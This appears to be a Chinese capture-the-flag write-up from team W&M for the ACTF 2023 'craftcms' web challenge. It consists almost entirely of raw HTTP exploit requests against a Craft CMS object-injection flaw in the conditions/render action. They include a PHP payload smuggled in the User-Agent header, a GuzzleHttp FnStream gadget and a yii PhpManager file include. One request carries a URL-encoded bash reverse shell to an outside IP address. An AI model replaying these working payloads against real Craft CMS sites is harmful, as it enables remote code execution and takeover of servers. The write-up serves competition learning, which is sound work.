W&M用户9152
ACTF 2023 By W&M
输入“/”快速插入内容
ACTF 2023 By W&M
ACTF 2023 By W&M
用户91522023年10月31日修改
WEB
craftcms
标题一看就知道是最近P神知识星球还有外面出来的那个Imagick RCE
先尝试包含日志文件RCE
匪夷所思的打不通
来了
代码块
POST / HTTP/1.1
Host: 61.147.171.105:63197
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: <?php phpinfo();?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}
Pearcmd RCE
代码块
POST /?1=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F114.116.119.253%2F7777%20%3C%261%22 HTTP/1.1
Host: 61.147.171.105:51172
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.69
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: CRAFT_CSRF_TOKEN=be184715764f67671b69bda9ad64ba04a73678870c9400d4a8df0d1dabf22350a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A147%3A%225AETmM-3SjB0rKXy_KzpJdCx2v6dyareo_foMd9Z%7C11cb586bcc3bfe1a299e0b3990f5c326e3fcb749c7dc517736354d0e728a41ee5AETmM-3SjB0rKXy_KzpJdCx2v6dyareo_foMd9Z%7C1%22%3B%7D; 627b0ba821a077f475abefb99d7bf1eb_username=d988d1b82d3d85d5075c5ae928e807eaa4df4fa4d57da2b27aecb2e67489293fa%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22627b0ba821a077f475abefb99d7bf1eb_username%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D; CraftSessionId=a090d1dc3d6177f321f9fbeec5e86e04; 627b0ba821a077f475abefb99d7bf1eb_identity=64baaded09da9ed98939255acfa83d1548180261c6604c7db39a195a105404caa%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22627b0ba821a077f475abefb99d7bf1eb_identity%22%3Bi%3A1%3Bs%3A162%3A%22%5B1%2C%22%5B%5C%2214fFNPePiqkytbJvUdjutK2PjZcOvGwLsIL8Xqywe3WjPqxQARmgpbVpt2h564JpvUrLQhRG8JsdK8PKQy-fp3d155ciKkgTFJPl%5C%22%2Cnull%2C%5C%221f04f262a3112304c814b25df2ccc708%5C%22%5D%22%2C1209600%5D%22%3B%7D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 197
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/tmp/2.php"}]}}